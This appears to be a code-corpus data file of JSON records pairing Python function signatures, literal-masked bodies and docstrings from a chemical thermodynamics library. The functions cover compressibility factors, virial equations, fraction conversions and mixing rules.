{"signature": "def rho_to_Vm(rho, MW):", "body": "return (rho*<NUM_LIT>/MW)**-<NUM_LIT:1><EOL>", "docstring": "r'''Calculate the molar volume of a chemical, given its density and\n    molecular weight.\n\n    .. math::\n        V_m = \\left(\\frac{1000 \\rho}{MW}\\right)^{-1}\n\n    Parameters\n    ----------\n    rho : float\n        Density, [kg/m^3]\n    MW : float\n        Molecular weight, [g/mol]\n\n    Returns\n    -------\n    Vm : float\n        Molar volume, [m^3/mol]\n\n    Examples\n    --------\n    >>> rho_to_Vm(652.9, 86.18)\n    0.00013199571144126206\n\n    References\n    ----------\n    .. [1] Poling, Bruce E. The Properties of Gases and Liquids. 5th edition.\n       New York: McGraw-Hill Professional, 2000.", "id": "f15806:m18"}
{"signature": "def Z(T, P, V):", "body": "return V*P/T/R<EOL>", "docstring": "r'''Calculates the compressibility factor of a gas, given its\n    temperature, pressure, and molar volume.\n\n    .. math::\n        Z = \\frac{PV}{RT}\n\n    Parameters\n    ----------\n    T : float\n        Temperature, [K]\n    P : float\n        Pressure [Pa]\n    V : float\n        Molar volume, [m^3/mol]\n\n    Returns\n    -------\n    Z : float\n        Compressibility factor, [-]\n\n    Examples\n    --------\n    >>> Z(600, P=1E6, V=0.00463)\n    0.9281019876560912\n\n    References\n    ----------\n    .. [1] Poling, Bruce E. The Properties of Gases and Liquids. 5th edition.\n       New York: McGraw-Hill Professional, 2000.", "id": "f15806:m19"}
{"signature": "def B_to_Z(B, T, P):", "body": "return <NUM_LIT:1.> + B*P/R/T<EOL>", "docstring": "r'''Calculates the compressibility factor of a gas, given its\n    second virial coefficient.\n\n    .. math::\n        Z = 1 + \\frac{BP}{RT}\n\n    Parameters\n    ----------\n    B : float\n        Second virial coefficient, [m^3/mol]\n    T : float\n        Temperature, [K]\n    P : float\n        Pressure [Pa]\n\n    Returns\n    -------\n    Z : float\n        Compressibility factor, [-]\n\n    Notes\n    -----\n    Other forms of the virial coefficient exist.\n\n    Examples\n    --------\n    >>> B_to_Z(-0.0015, 300, 1E5)\n    0.9398638020957176\n\n    References\n    ----------\n    .. [1] Poling, Bruce E. The Properties of Gases and Liquids. 5th edition.\n       New York: McGraw-Hill Professional, 2000.", "id": "f15806:m20"}
{"signature": "def B_from_Z(Z, T, P):", "body": "return (Z - <NUM_LIT:1>)*R*T/P<EOL>", "docstring": "r'''Calculates the second virial coefficient of a pure species, given the\n    compressibility factor of the gas.\n\n    .. math::\n        B = \\frac{RT(Z-1)}{P}\n\n    Parameters\n    ----------\n    Z : float\n        Compressibility factor, [-]\n    T : float\n        Temperature, [K]\n    P : float\n        Pressure [Pa]\n\n    Returns\n    -------\n    B : float\n        Second virial coefficient, [m^3/mol]\n\n    Notes\n    -----\n    Other forms of the virial coefficient exist.\n\n    Examples\n    --------\n    >>> B_from_Z(0.94, 300, 1E5)\n    -0.0014966027640000014\n\n    References\n    ----------\n    .. [1] Poling, Bruce E. The Properties of Gases and Liquids. 5th edition.\n       New York: McGraw-Hill Professional, 2000.", "id": "f15806:m21"}
{"signature": "def Z_from_virial_density_form(T, P, *args):", "body": "l = len(args)<EOL>if l == <NUM_LIT:1>:<EOL><INDENT>return <NUM_LIT:1>/<NUM_LIT> + (<NUM_LIT:4>*args[<NUM_LIT:0>]*P + R*T)**<NUM_LIT:0.5>/(<NUM_LIT:2>*(R*T)**<NUM_LIT:0.5>)<EOL><INDENT>return ((R*T*(<NUM_LIT:4>*args[<NUM_LIT:0>]*P + R*T))**<NUM_LIT:0.5> + R*T)/(<NUM_LIT:2>*P)<EOL><DEDENT><DEDENT>if l == <NUM_LIT:2>:<EOL><INDENT>B, C = args<EOL>return (P*(-(<NUM_LIT:3>*B*R*T/P + R**<NUM_LIT:2>*T**<NUM_LIT:2>/P**<NUM_LIT:2>)/(<NUM_LIT:3>*(-<NUM_LIT:1>/<NUM_LIT:2> + csqrt(<NUM_LIT:3>)*<NUM_LIT>/<NUM_LIT:2>)*(-<NUM_LIT:9>*B*R**<NUM_LIT:2>*T**<NUM_LIT:2>/(<NUM_LIT:2>*P**<NUM_LIT:2>) - <NUM_LIT>*C*R*T/(<NUM_LIT:2>*P) + csqrt(-<NUM_LIT:4>*(<NUM_LIT:3>*B*R*T/P + R**<NUM_LIT:2>*T**<NUM_LIT:2>/P**<NUM_LIT:2>)**(<NUM_LIT:3>+<NUM_LIT>) + (-<NUM_LIT:9>*B*R**<NUM_LIT:2>*T**<NUM_LIT:2>/P**<NUM_LIT:2> - <NUM_LIT>*C*R*T/P - <NUM_LIT:2>*R**<NUM_LIT:3>*T**<NUM_LIT:3>/P**<NUM_LIT:3>)**(<NUM_LIT:2>+<NUM_LIT>))/<NUM_LIT:2> - R**<NUM_LIT:3>*T**<NUM_LIT:3>/P**<NUM_LIT:3>)**(<NUM_LIT:1>/<NUM_LIT>+<NUM_LIT>)) - (-<NUM_LIT:1>/<NUM_LIT:2> + csqrt(<NUM_LIT:3>)*<NUM_LIT>/<NUM_LIT:2>)*(-<NUM_LIT:9>*B*R**<NUM_LIT:2>*T**<NUM_LIT:2>/(<NUM_LIT:2>*P**<NUM_LIT:2>) - <NUM_LIT>*C*R*T/(<NUM_LIT:2>*P) + csqrt(-<NUM_LIT:4>*(<NUM_LIT:3>*B*R*T/P + R**<NUM_LIT:2>*T**<NUM_LIT:2>/P**<NUM_LIT:2>)**(<NUM_LIT:3>+<NUM_LIT>) + (-<NUM_LIT:9>*B*R**<NUM_LIT:2>*T**<NUM_LIT:2>/P**<NUM_LIT:2> - <NUM_LIT>*C*R*T/P - <NUM_LIT:2>*R**<NUM_LIT:3>*T**<NUM_LIT:3>/P**<NUM_LIT:3>)**(<NUM_LIT:2>+<NUM_LIT>))/<NUM_LIT:2> - R**<NUM_LIT:3>*T**<NUM_LIT:3>/P**<NUM_LIT:3>)**(<NUM_LIT:1>/<NUM_LIT>+<NUM_LIT>)/<NUM_LIT:3> + R*T/(<NUM_LIT:3>*P))/(R*T)).real<EOL><DEDENT>if l == <NUM_LIT:3>:<EOL><INDENT>B, C, D = args<EOL>P2 = P**<NUM_LIT:2> <EOL>RT = R*T<EOL>BRT = B*RT<EOL>T2 = T**<NUM_LIT:2><EOL>R2 = R**<NUM_LIT:2><EOL>RT23 = <NUM_LIT:3>*R2*T2<EOL>mCRT = -C*RT<EOL>P2256 = <NUM_LIT>*P2<EOL>RT23P2256 = RT23/(P2256)<EOL>big1 = (D*RT/P - (-BRT/P - RT23/(<NUM_LIT:8>*P2))**<NUM_LIT:2>/<NUM_LIT:12> - RT*(mCRT/(<NUM_LIT:4>*P) - RT*(BRT/(<NUM_LIT:16>*P) + RT23P2256)/P)/P)<EOL>big3 = (-BRT/P - RT23/(<NUM_LIT:8>*P2))<EOL>big4 = (mCRT/P - RT*(BRT/(<NUM_LIT:2>*P) + R2*T2/(<NUM_LIT:8>*P2))/P)<EOL>big5 = big3*(-D*RT/P + RT*(mCRT/(<NUM_LIT:4>*P) - RT*(BRT/(<NUM_LIT:16>*P) + RT23P2256)/P)/P)<EOL>big2 = <NUM_LIT:2>*big1/(<NUM_LIT:3>*(big3**<NUM_LIT:3>/<NUM_LIT> - big5/<NUM_LIT:6> + big4**<NUM_LIT:2>/<NUM_LIT:16> + csqrt(big1**<NUM_LIT:3>/<NUM_LIT> + (-big3**<NUM_LIT:3>/<NUM_LIT> + big5/<NUM_LIT:3> - big4**<NUM_LIT:2>/<NUM_LIT:8>)**<NUM_LIT:2>/<NUM_LIT:4>))**(<NUM_LIT:1>/<NUM_LIT:3>))<EOL>big7 = <NUM_LIT:2>*BRT/(<NUM_LIT:3>*P) - big2 + <NUM_LIT:2>*(big3**<NUM_LIT:3>/<NUM_LIT> - big5/<NUM_LIT:6> + big4**<NUM_LIT:2>/<NUM_LIT:16> + csqrt(big1**<NUM_LIT:3>/<NUM_LIT> + (-big3**<NUM_LIT:3>/<NUM_LIT> + big5/<NUM_LIT:3> - big4**<NUM_LIT:2>/<NUM_LIT:8>)**<NUM_LIT:2>/<NUM_LIT:4>))**(<NUM_LIT:1>/<NUM_LIT:3>) + R2*T2/(<NUM_LIT:4>*P2)<EOL>return (P*(((csqrt(big7)/<NUM_LIT:2> + csqrt(<NUM_LIT:4>*BRT/(<NUM_LIT:3>*P) - (-<NUM_LIT:2>*C*RT/P - <NUM_LIT:2>*RT*(BRT/(<NUM_LIT:2>*P) + R2*T2/(<NUM_LIT:8>*P2))/P)/csqrt(big7) + big2 - <NUM_LIT:2>*(big3**<NUM_LIT:3>/<NUM_LIT> - big5/<NUM_LIT:6> + big4**<NUM_LIT:2>/<NUM_LIT:16> + csqrt(big1**<NUM_LIT:3>/<NUM_LIT> + (-big3**<NUM_LIT:3>/<NUM_LIT> + big5/<NUM_LIT:3> - big4**<NUM_LIT:2>/<NUM_LIT:8>)**<NUM_LIT:2>/<NUM_LIT:4>))**(<NUM_LIT:1>/<NUM_LIT:3>) + R2*T2/(<NUM_LIT:2>*P2))/<NUM_LIT:2> + RT/(<NUM_LIT:4>*P))))/R/T).real<EOL><DEDENT>args = list(args)<EOL>args.reverse()<EOL>args.extend([<NUM_LIT:1>, -P/R/T])<EOL>solns = np.roots(args)<EOL>rho = [i for i in solns if not i.imag and i.real > <NUM_LIT:0>][<NUM_LIT:0>].real <EOL>return P/rho/R/T<EOL>", "docstring": "r'''Calculates the compressibility factor of a gas given its temperature,\n    pressure, and molar density-form virial coefficients. Any number of\n    coefficients is supported.\n\n    .. math::\n        Z = \\frac{PV}{RT} = 1 + \\frac{B}{V} + \\frac{C}{V^2} + \\frac{D}{V^3}\n        + \\frac{E}{V^4} \\dots\n\n    Parameters\n    ----------\n    T : float\n        Temperature, [K]\n    P : float\n        Pressure, [Pa]\n    B to Z : float, optional\n        Virial coefficients, [various]\n\n    Returns\n    -------\n    Z : float\n        Compressibility factor at T, P, and with given virial coefficients, [-]\n\n    Notes\n    -----\n    For use with B or with B and C or with B and C and D, optimized equations \n    are used to obtain the compressibility factor directly.\n    If more coefficients are provided, uses numpy's roots function to solve \n    this equation. This takes substantially longer as the solution is \n    numerical.\n\n    If no virial coefficients are given, returns 1, as per the ideal gas law.\n\n    The units of each virial coefficient are as follows, where for B, n=1, and\n    C, n=2, and so on.\n\n    .. math::\n        \\left(\\frac{\\text{m}^3}{\\text{mol}}\\right)^n\n\n    Examples\n    --------\n    >>> Z_from_virial_density_form(300, 122057.233762653, 1E-4, 1E-5, 1E-6, 1E-7)\n    1.2843496002100001\n\n    References\n    ----------\n    .. [1] Prausnitz, John M., Rudiger N. Lichtenthaler, and Edmundo Gomes de \n       Azevedo. Molecular Thermodynamics of Fluid-Phase Equilibria. 3rd \n       edition. Upper Saddle River, N.J: Prentice Hall, 1998.\n    .. [2] Walas, Stanley M. Phase Equilibria in Chemical Engineering. \n       Butterworth-Heinemann, 1985.", "id": "f15806:m22"}
{"signature": "def Z_from_virial_pressure_form(P, *args):", "body": "return <NUM_LIT:1> + P*sum([coeff*P**i for i, coeff in enumerate(args)])<EOL>", "docstring": "r'''Calculates the compressibility factor of a gas given its pressure, and \n    pressure-form virial coefficients. Any number of coefficients is supported.\n\n    .. math::\n        Z = \\frac{Pv}{RT} = 1 + B'P + C'P^2 + D'P^3 + E'P^4 \\dots\n\n    Parameters\n    ----------\n    P : float\n        Pressure, [Pa]\n    B to Z : float, optional\n        Pressure form Virial coefficients, [various]\n\n    Returns\n    -------\n    Z : float\n        Compressibility factor at P, and with given virial coefficients, [-]\n\n    Notes\n    -----\n    Note that although this function does not require a temperature input, it  \n    is still dependent on it because the coefficients themselves normally are\n    regressed in terms of temperature.\n\n    The use of this form is less common than the density form. Its coefficients\n    are normally indicated with the \"'\" suffix.\n\n    If no virial coefficients are given, returns 1, as per the ideal gas law.\n\n    The units of each virial coefficient are as follows, where for B, n=1, and\n    C, n=2, and so on.\n\n    .. math::\n        \\left(\\frac{1}{\\text{Pa}}\\right)^n\n\n    Examples\n    --------\n    >>> Z_from_virial_pressure_form(102919.99946855308, 4.032286555169439e-09, 1.6197059494442215e-13, 6.483855042486911e-19)\n    1.00283753944\n\n    References\n    ----------\n    .. [1] Prausnitz, John M., Rudiger N. Lichtenthaler, and Edmundo Gomes de \n       Azevedo. Molecular Thermodynamics of Fluid-Phase Equilibria. 3rd \n       edition. Upper Saddle River, N.J: Prentice Hall, 1998.\n    .. [2] Walas, Stanley M. Phase Equilibria in Chemical Engineering. \n       Butterworth-Heinemann, 1985.", "id": "f15806:m23"}
{"signature": "def zs_to_ws(zs, MWs):", "body": "Mavg = sum(zi*MWi for zi, MWi in zip(zs, MWs))<EOL>ws = [zi*MWi/Mavg for zi, MWi in zip(zs, MWs)]<EOL>return ws<EOL>", "docstring": "r'''Converts a list of mole fractions to mass fractions. Requires molecular\n    weights for all species.\n\n    .. math::\n        w_i = \\frac{z_i MW_i}{MW_{avg}}\n\n        MW_{avg} = \\sum_i z_i MW_i\n\n    Parameters\n    ----------\n    zs : iterable\n        Mole fractions [-]\n    MWs : iterable\n        Molecular weights [g/mol]\n\n    Returns\n    -------\n    ws : iterable\n        Mass fractions [-]\n\n    Notes\n    -----\n    Does not check that the sums add to one. Does not check that inputs are of\n    the same length.\n\n    Examples\n    --------\n    >>> zs_to_ws([0.5, 0.5], [10, 20])\n    [0.3333333333333333, 0.6666666666666666]", "id": "f15806:m24"}
{"signature": "def ws_to_zs(ws, MWs):", "body": "tot = sum(w/MW for w, MW in zip(ws, MWs))<EOL>zs = [w/MW/tot for w, MW in zip(ws, MWs)]<EOL>return zs<EOL>", "docstring": "r'''Converts a list of mass fractions to mole fractions. Requires molecular\n    weights for all species.\n\n    .. math::\n        z_i = \\frac{\\frac{w_i}{MW_i}}{\\sum_i \\frac{w_i}{MW_i}}\n\n    Parameters\n    ----------\n    ws : iterable\n        Mass fractions [-]\n    MWs : iterable\n        Molecular weights [g/mol]\n\n    Returns\n    -------\n    zs : iterable\n        Mole fractions [-]\n\n    Notes\n    -----\n    Does not check that the sums add to one. Does not check that inputs are of\n    the same length.\n\n    Examples\n    --------\n    >>> ws_to_zs([0.3333333333333333, 0.6666666666666666], [10, 20])\n    [0.5, 0.5]", "id": "f15806:m25"}
{"signature": "def zs_to_Vfs(zs, Vms):", "body": "vol_is = [zi*Vmi for zi, Vmi in zip(zs, Vms)]<EOL>tot = sum(vol_is)<EOL>return [vol_i/tot for vol_i in vol_is]<EOL>", "docstring": "r'''Converts a list of mole fractions to volume fractions. Requires molar\n    volumes for all species.\n\n    .. math::\n        \\text{Vf}_i = \\frac{z_i V_{m,i}}{\\sum_i z_i V_{m,i}}\n\n    Parameters\n    ----------\n    zs : iterable\n        Mole fractions [-]\n    VMs : iterable\n        Molar volumes of species [m^3/mol]\n\n    Returns\n    -------\n    Vfs : list\n        Molar volume fractions [-]\n\n    Notes\n    -----\n    Does not check that the sums add to one. Does not check that inputs are of\n    the same length.\n\n    Molar volumes are specified in terms of pure components only. Function\n    works with any phase.\n\n    Examples\n    --------\n    Acetone and benzene example\n\n    >>> zs_to_Vfs([0.637, 0.363], [8.0234e-05, 9.543e-05])\n    [0.5960229712956298, 0.4039770287043703]", "id": "f15806:m26"}
{"signature": "def Vfs_to_zs(Vfs, Vms):", "body": "mols_i = [Vfi/Vmi for Vfi, Vmi in zip(Vfs, Vms)]<EOL>mols = sum(mols_i)<EOL>return [mol_i/mols for mol_i in mols_i]<EOL>", "docstring": "r'''Converts a list of mass fractions to mole fractions. Requires molecular\n    weights for all species.\n\n    .. math::\n        z_i = \\frac{\\frac{\\text{Vf}_i}{V_{m,i}}}{\\sum_i\n        \\frac{\\text{Vf}_i}{V_{m,i}}}\n\n    Parameters\n    ----------\n    Vfs : iterable\n        Molar volume fractions [-]\n    VMs : iterable\n        Molar volumes of species [m^3/mol]\n\n    Returns\n    -------\n    zs : list\n        Mole fractions [-]\n\n    Notes\n    -----\n    Does not check that the sums add to one. Does not check that inputs are of\n    the same length.\n\n    Molar volumes are specified in terms of pure components only. Function\n    works with any phase.\n\n    Examples\n    --------\n    Acetone and benzene example\n\n    >>> Vfs_to_zs([0.596, 0.404], [8.0234e-05, 9.543e-05])\n    [0.6369779395901142, 0.3630220604098858]", "id": "f15806:m27"}
{"signature": "def none_and_length_check(all_inputs, length=None):", "body": "if not length:<EOL><INDENT>length = len(all_inputs[<NUM_LIT:0>])<EOL><DEDENT>for things in all_inputs:<EOL><INDENT>if None in things or len(things) != length:<EOL><INDENT>return False<EOL><DEDENT><DEDENT>return True<EOL>", "docstring": "r'''Checks inputs for suitability of use by a mixing rule which requires\n    all inputs to be of the same length and non-None. A number of variations\n    were attempted for this function; this was found to be the quickest.\n\n    Parameters\n    ----------\n    all_inputs : array-like of array-like\n        list of all the lists of inputs, [-]\n    length : int, optional\n        Length of the desired inputs, [-]\n\n    Returns\n    -------\n    False/True : bool\n        Returns True only if all inputs are the same length (or length `length`)\n        and none of the inputs contain None [-]\n\n    Notes\n    -----\n    Does not check for nan values.\n\n    Examples\n    --------\n    >>> none_and_length_check(([1, 1], [1, 1], [1, 30], [10,0]), length=2)\n    True", "id": "f15806:m28"}
{"signature": "def allclose_variable(a, b, limits, rtols=None, atols=None):", "body": "l = float(len(a))<EOL>if rtols is None and atols is None:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>elif rtols is None:<EOL><INDENT>rtols = [<NUM_LIT:0> for i in atols]<EOL><DEDENT>elif atols is None:<EOL><INDENT>atols = [<NUM_LIT:0> for i in rtols]<EOL><DEDENT>for atol, rtol, lim in zip(atols, rtols, limits):<EOL><INDENT>matches = np.count_nonzero(np.isclose(a, b, rtol=rtol, atol=atol))<EOL>if <NUM_LIT:1>-matches/l > lim:<EOL><INDENT>return False<EOL><DEDENT><DEDENT>return True<EOL>", "docstring": "Returns True if two arrays are element-wise equal within several \n    different tolerances. Tolerance values are always positive, usually\n    very small. Based on numpy's allclose function.\n\n    Only atols or rtols needs to be specified; both are used if given.\n\n    Parameters\n    ----------\n    a, b : array_like\n        Input arrays to compare.\n    limits : array_like\n        Fractions of elements allowed to not match to within each tolerance.\n    rtols : array_like\n        The relative tolerance parameters.\n    atols : float\n        The absolute tolerance parameters.\n\n    Returns\n    -------\n    allclose : bool\n        Returns True if the two arrays are equal within the given\n        tolerances; False otherwise.\n\n    Examples\n    --------\n    10 random similar variables, all of them matching to within 1E-5, allowing \n    up to half to match up to 1E-6.\n\n    >>> x = [2.7244322249597719e-08, 3.0105683900110473e-10, 2.7244124924802327e-08, 3.0105259397637556e-10, 2.7243929226310193e-08, 3.0104990272770901e-10, 2.7243666849384451e-08, 3.0104101821236015e-10, 2.7243433745917367e-08, 3.0103707421519949e-10]\n    >>> y = [2.7244328304561904e-08, 3.0105753470546008e-10, 2.724412872417824e-08,  3.0105303055834564e-10, 2.7243914341030203e-08, 3.0104819238021998e-10, 2.7243684057561379e-08, 3.0104299541023674e-10, 2.7243436694839306e-08, 3.010374130526363e-10]\n    >>> allclose_variable(x, y, limits=[.0, .5], rtols=[1E-5, 1E-6])\n    True", "id": "f15806:m29"}
{"signature": "def horner(coeffs, x):", "body": "tot = <NUM_LIT:0><EOL>for c in coeffs:<EOL><INDENT>tot = tot * x + c<EOL><DEDENT>return tot<EOL>", "docstring": "r'''Simple function to calculate the value of a polynomial at a specific\n    value of `x`, using the Horner evaluation scheme\n\n    Parameters\n    ----------\n    coeffs : array-like\n        Coefficients, where coeffs[0] is multiplied by the largest power of x,\n        and coeffs[-1] is added to the sum with no multiplication.\n    x : float\n        Value to evaluate the polynomial at\n\n    Returns\n    -------\n    y : float\n        Evaluated result\n\n    Notes\n    -----\n    Efficient. Faster than numpy.polyval.\n\n    Examples\n    --------\n    >>> horner([1,2,3], 3)\n    18", "id": "f15806:m30"}
{"signature": "def polylog2(x):", "body": "if <NUM_LIT:0> <= x <= <NUM_LIT>:<EOL><INDENT>p = [<NUM_LIT>, -<NUM_LIT>, <NUM_LIT>, -<NUM_LIT>, <NUM_LIT>, <NUM_LIT>]<EOL>q = [-<NUM_LIT>, <NUM_LIT>, -<NUM_LIT>, <NUM_LIT>, -<NUM_LIT>, <NUM_LIT:1.0>]<EOL>offset = <NUM_LIT><EOL><DEDENT>elif <NUM_LIT> < x <= <NUM_LIT>:<EOL><INDENT>p = [<NUM_LIT>, -<NUM_LIT>, -<NUM_LIT>, <NUM_LIT>, -<NUM_LIT>, <NUM_LIT>, -<NUM_LIT>, <NUM_LIT>, -<NUM_LIT>, <NUM_LIT>]<EOL>q = [-<NUM_LIT>, <NUM_LIT>, -<NUM_LIT>, <NUM_LIT>, -<NUM_LIT>, <NUM_LIT>, -<NUM_LIT>, <NUM_LIT>, -<NUM_LIT>, <NUM_LIT:1.0>]<EOL>offset = <NUM_LIT><EOL><DEDENT>elif <NUM_LIT> < x <= <NUM_LIT:1>:<EOL><INDENT>p = [<NUM_LIT>, <NUM_LIT>, -<NUM_LIT>, <NUM_LIT>, -<NUM_LIT>, <NUM_LIT>, -<NUM_LIT>, <NUM_LIT>, -<NUM_LIT>, <NUM_LIT>, -<NUM_LIT>, <NUM_LIT>, -<NUM_LIT>, <NUM_LIT>, -<NUM_LIT>, <NUM_LIT>]<EOL>q = [-<NUM_LIT>, <NUM_LIT>, -<NUM_LIT>, <NUM_LIT>, -<NUM_LIT>, <NUM_LIT>, -<NUM_LIT>, <NUM_LIT>, -<NUM_LIT>, <NUM_LIT>, -<NUM_LIT>, <NUM_LIT>, -<NUM_LIT>, <NUM_LIT>, -<NUM_LIT>, <NUM_LIT:1.0>]<EOL>offset = <NUM_LIT><EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>x = x - offset<EOL>return horner(p, x)/horner(q, x)<EOL>", "docstring": "r'''Simple function to calculate PolyLog(2, x) from ranges 0 <= x <= 1,\n    with relative error guaranteed to be < 1E-7 from 0 to 0.99999. This\n    is a Pade approximation, with three coefficient sets with splits at 0.7 \n    and 0.99. An exception is raised if x is under 0 or above 1. \n\n\n    Parameters\n    ----------\n    x : float\n        Value to evaluate PolyLog(2, x) T\n\n    Returns\n    -------\n    y : float\n        Evaluated result\n\n    Notes\n    -----\n    Efficient (2-4 microseconds). No implementation of this function exists in \n    SciPy. Derived with mpmath's pade approximation.\n    Required for the entropy integral of \n    :obj:`thermo.heat_capacity.Zabransky_quasi_polynomial`.\n\n    Examples\n    --------\n    >>> polylog2(0.5)\n    0.5822405264516294", "id": "f15806:m31"}
{"signature": "def normalize(values):", "body": "tot = sum(values)<EOL>return [i/tot for i in values]<EOL>", "docstring": "r'''Simple function which normalizes a series of values to be from 0 to 1,\n    and for their sum to add to 1.\n\n    .. math::\n        x = \\frac{x}{sum_i x_i}\n\n    Parameters\n    ----------\n    values : array-like\n        array of values\n\n    Returns\n    -------\n    fractions : array-like\n        Array of values from 0 to 1\n\n    Notes\n    -----\n    Does not work on negative values.\n\n    Examples\n    --------\n    >>> normalize([3, 2, 1])\n    [0.5, 0.3333333333333333, 0.16666666666666666]", "id": "f15806:m32"}
{"signature": "def mixing_simple(fracs, props):", "body": "if not none_and_length_check([fracs, props]):<EOL><INDENT>return None<EOL><DEDENT>result = sum(frac*prop for frac, prop in zip(fracs, props))<EOL>return result<EOL>", "docstring": "r'''Simple function calculates a property based on weighted averages of\n    properties. Weights could be mole fractions, volume fractions, mass\n    fractions, or anything else.\n\n    .. math::\n        y = \\sum_i \\text{frac}_i \\cdot \\text{prop}_i\n\n    Parameters\n    ----------\n    fracs : array-like\n        Fractions of a mixture\n    props: array-like\n        Properties\n\n    Returns\n    -------\n    prop : value\n        Calculated property\n\n    Notes\n    -----\n    Returns None if any fractions or properties are missing or are not of the\n    same length.\n\n    Examples\n    --------\n    >>> mixing_simple([0.1, 0.9], [0.01, 0.02])\n    0.019000000000000003", "id": "f15806:m33"}
{"signature": "def mixing_logarithmic(fracs, props):", "body": "if not none_and_length_check([fracs, props]):<EOL><INDENT>return None<EOL><DEDENT>return exp(sum(frac*log(prop) for frac, prop in zip(fracs, props)))<EOL>", "docstring": "r'''Simple function calculates a property based on weighted averages of\n    logarithmic properties.\n\n    .. math::\n        y = \\sum_i \\text{frac}_i \\cdot \\log(\\text{prop}_i)\n\n    Parameters\n    ----------\n    fracs : array-like\n        Fractions of a mixture\n    props: array-like\n        Properties\n\n    Returns\n    -------\n    prop : value\n        Calculated property\n\n    Notes\n    -----\n    Does not work on negative values.\n    Returns None if any fractions or properties are missing or are not of the\n    same length.\n\n    Examples\n    --------\n    >>> mixing_logarithmic([0.1, 0.9], [0.01, 0.02])\n    0.01866065983073615", "id": "f15806:m34"}
{"signature": "def phase_select_property(phase=None, s=None, l=None, g=None, V_over_F=None):", "body": "if phase == '<STR_LIT:s>':<EOL><INDENT>return s<EOL><DEDENT>elif phase == '<STR_LIT:l>':<EOL><INDENT>return l<EOL><DEDENT>elif phase == '<STR_LIT:g>':<EOL><INDENT>return g<EOL><DEDENT>elif phase == '<STR_LIT>':<EOL><INDENT>return None  <EOL><DEDENT>elif phase is None:<EOL><INDENT>return None<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>", "docstring": "r'''Determines which phase's property should be set as a default, given\n    the phase a chemical is, and the property values of various phases. For the\n    case of liquid-gas phase, returns None. If the property is not available\n    for the current phase, or if the current phase is not known, returns None.\n\n    Parameters\n    ----------\n    phase : str\n        One of {'s', 'l', 'g', 'two-phase'}\n    s : float\n        Solid-phase property\n    l : float\n        Liquid-phase property\n    g : float\n        Gas-phase property\n    V_over_F : float\n        Vapor phase fraction\n\n    Returns\n    -------\n    prop : float\n        The selected/calculated property for the relevant phase\n\n    Notes\n    -----\n    Could calculate mole-fraction weighted properties for the two phase regime.\n    Could also implement equilibria with solid phases.\n\n    Examples\n    --------\n    >>> phase_select_property(phase='g', l=1560.14, g=3312.)\n    3312.0", "id": "f15806:m35"}
{"signature": "def __call__(self, T):", "body": "if T == self.T_cached:<EOL><INDENT>return self.prop_cached<EOL><DEDENT>else:<EOL><INDENT>self.prop_cached = self.T_dependent_property(T)<EOL>self.T_cached = T<EOL>return self.prop_cached<EOL><DEDENT>", "docstring": "r'''Convenience method to calculate the property; calls \n        :obj:`T_dependent_property`. Caches previously calculated value,\n        which is an overhead when calculating many different values of\n        a property. See :obj:`T_dependent_property` for more details as to the\n        calculation procedure.\n\n        Parameters\n        ----------\n        T : float\n            Temperature at which to calculate the property, [K]\n\n        Returns\n        -------\n        prop : float\n            Calculated property, [`units`]", "id": "f15806:c0:m2"}
{"signature": "def set_user_methods(self, user_methods, forced=False):", "body": "<EOL>if isinstance(user_methods, str):<EOL><INDENT>user_methods = [user_methods]<EOL><DEDENT>self.user_methods = user_methods<EOL>self.forced = forced<EOL>if set(self.user_methods).difference(self.all_methods):<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>if not self.user_methods and self.forced:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>self.method = None<EOL>self.sorted_valid_methods = []<EOL>self.T_cached = None<EOL>", "docstring": "r'''Method used to select certain property methods as having a higher\n        priority than were set by default. If `forced` is true, then methods\n        which were not specified are excluded from consideration.\n\n        As a side effect, `method` is removed to ensure than the new methods\n        will be used in calculations afterwards.\n\n        An exception is raised if any of the methods specified aren't available\n        for the chemical. An exception is raised if no methods are provided.\n\n        Parameters\n        ----------\n        user_methods : str or list\n            Methods by name to be considered or prefered\n        forced : bool, optional\n            If True, only the user specified methods will ever be considered;\n            if False other methods will be considered if no user methods\n            suceed", "id": "f15806:c0:m3"}
{"signature": "def select_valid_methods(self, T):", "body": "<EOL>if self.forced:<EOL><INDENT>considered_methods = list(self.user_methods)<EOL><DEDENT>else:<EOL><INDENT>considered_methods = list(self.all_methods)<EOL><DEDENT>if self.user_methods:<EOL><INDENT>[considered_methods.remove(i) for i in self.user_methods]<EOL><DEDENT>preferences = sorted([self.ranked_methods.index(i) for i in considered_methods])<EOL>sorted_methods = [self.ranked_methods[i] for i in preferences]<EOL>if self.user_methods:<EOL><INDENT>[sorted_methods.insert(<NUM_LIT:0>, i) for i in reversed(self.user_methods)]<EOL><DEDENT>sorted_valid_methods = []<EOL>for method in sorted_methods:<EOL><INDENT>if self.test_method_validity(T, method):<EOL><INDENT>sorted_valid_methods.append(method)<EOL><DEDENT><DEDENT>return sorted_valid_methods<EOL>", "docstring": "r'''Method to obtain a sorted list of methods which are valid at `T`\n        according to `test_method_validity`. Considers either only user methods\n        if forced is True, or all methods. User methods are first tested\n        according to their listed order, and unless forced is True, then all\n        methods are tested and sorted by their order in `ranked_methods`.\n\n        Parameters\n        ----------\n        T : float\n            Temperature at which to test methods, [K]\n\n        Returns\n        -------\n        sorted_valid_methods : list\n            Sorted lists of methods valid at T according to\n            `test_method_validity`", "id": "f15806:c0:m4"}
{"signature": "def T_dependent_property(self, T):", "body": "<EOL>if self.method:<EOL><INDENT>if self.test_method_validity(T, self.method):<EOL><INDENT>try:<EOL><INDENT>prop = self.calculate(T, self.method)<EOL>if self.test_property_validity(prop):<EOL><INDENT>return prop<EOL><DEDENT><DEDENT>except:  <EOL><INDENT>pass<EOL><DEDENT><DEDENT><DEDENT>self.sorted_valid_methods = self.select_valid_methods(T)<EOL>for method in self.sorted_valid_methods:<EOL><INDENT>try:<EOL><INDENT>prop = self.calculate(T, method)<EOL>if self.test_property_validity(prop):<EOL><INDENT>self.method = method<EOL>return prop<EOL><DEDENT><DEDENT>except:  <EOL><INDENT>pass<EOL><DEDENT><DEDENT>return None<EOL>", "docstring": "r'''Method to calculate the property with sanity checking and without\n        specifying a specific method. `select_valid_methods` is used to obtain\n        a sorted list of methods to try. Methods are then tried in order until\n        one succeeds. The methods are allowed to fail, and their results are\n        checked with `test_property_validity`. 